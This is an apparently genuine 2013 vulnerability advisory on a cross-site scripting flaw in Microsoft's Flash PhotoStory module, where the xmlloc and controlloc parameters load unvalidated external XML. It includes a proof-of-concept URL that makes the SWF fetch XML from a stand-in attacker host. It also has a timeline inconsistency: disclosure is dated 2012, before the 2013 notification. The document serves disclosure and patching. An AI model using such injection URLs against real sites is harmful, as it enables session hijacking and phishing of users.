Microsoft PhotoStory - CS Cross Site Scripting Vulnerability

[Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>]

Document Title:
===============
Microsoft PhotoStory - CS Cross Site Scripting Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1012

Microsoft Security Response Center (MSRC) ID: 15155


Release Date:
=============
2013-12-12


Vulnerability Laboratory ID (VL-ID):
====================================
1012


Common Vulnerability Scoring System:
====================================
2.1


Product & Service Introduction:
===============================
Microsoft Online Services is Microsoft`s hosted-software offering and a 
component of their software plus services strategy.
Microsoft Online Services are hosted by Microsoft and sold ``with`` Microsoft 
partners. The suite includes Exchange Online, 
SharePoint Online, Office Communications Online, Microsoft Forefront, and 
Microsoft Office Live Meeting. For businesses, 
the Software-plus-Services approach enables organizations to access the 
capabilities of enterprise software through on-premises 
servers, as online services, or a combination of both, depending on specific 
business requirements. Services also provide the 
option to add complementary capabilities that enhance on-premises server 
software and simplify system management and maintenance.

(Copy of the vendor Homepage: https://microsoftonline.com )


Abstract Advisory Information:
==============================
An independent Vulnerability Laboratory Research Team discovered a client-side 
cross site scripting in flash component of Microsofts Website Application.


Vulnerability Disclosure Timeline:
==================================
2013-07-14:     Researcher Notification & Coordination (Muhammad A.S.)
2013-07-15:     Vendor Notification (Microsoft Security Response Center - 
Security Program)
2013-12-11:     Vendor Response/Feedback (Microsoft Security Response Center - 
Security Program)
2013-12-11:     Vendor Fix/Patch (Microsoft Developer Team)
2012-12-12:     Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Microsoft Corporation
Product: Photo Story - Flash 2013 Q2


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
An independent vulnerability laboratory researcher discovered a client side 
input cross site in flash component of Microsofts Website Application.
The vulnerability allows remote attacker to execute malicious non-persistent 
script on client side.

The vulnerability is located in the flash photo-story module when processing 
the load 2 different manipulated xmlloc parameter via GET method.
The client-side script code will be executed in the flash web application 
layout as frame. During investigation it has been revealed 
that a remote attacker can manipulate both entry points  to inject his own html 
and java-script.

Exploitation of the vulnerability requires no privilege application user 
account but low or medium user interaction.
Successful exploitation of the vulnerability results in session hijacking, 
persistent phishing, persistent malware injects, persistent external 
redirects and manipulation of affected module- or application context.

Vulnerable Module(s):
                                [+] photo-story

Vulnerable File(s):
                                [+] photostory3.swf

Vulnerable Parameter(s):
                                [+] xmlloc


Proof of Concept (PoC):
=======================
The client side cross site scripting vulnerability can be exploited by remote 
attacker with low privilege application 
user account and low or medium required user interaction. For demonstration or 
reproduce ...

PoC: Generated Source Code

} // End of the function
$VERSION = "XXX_21118_0000";
var CONTROL_FILENAME = _root.controlloc;   <<<xml file being included without 
any validation
var XML_FILENAME = _root.xmlloc;           <<<xml file being included without 
any validation 
initPlayer();
buffer = 0.500000;
// [Action in Frame 3]


POC :
http://www.microsoft.com/austria/kmu/flash/photo-story/photostory3.swf
?xmlloc=http://www.ATTACKERWEBSTTE---.com/poc/ms/Schritt_fuer_Schritt.xml&controlloc=http://www.ATTACKERWEBSTTE---.com/poc/ms/control.xml


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a restriction and parse of the xmlloc GET 
parameter request.
Parse also the affected output listing in the main module of the online service.


Security Risk:
==============
The security risk of the client-side cross site scripting web vulnerability is 
estimated as medium(-).


Credits & Authors:
==================
Independent Laboratory Researcher - Muhammad A.S. [ahmed.sdd@xxxxxxxxx]


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=========================
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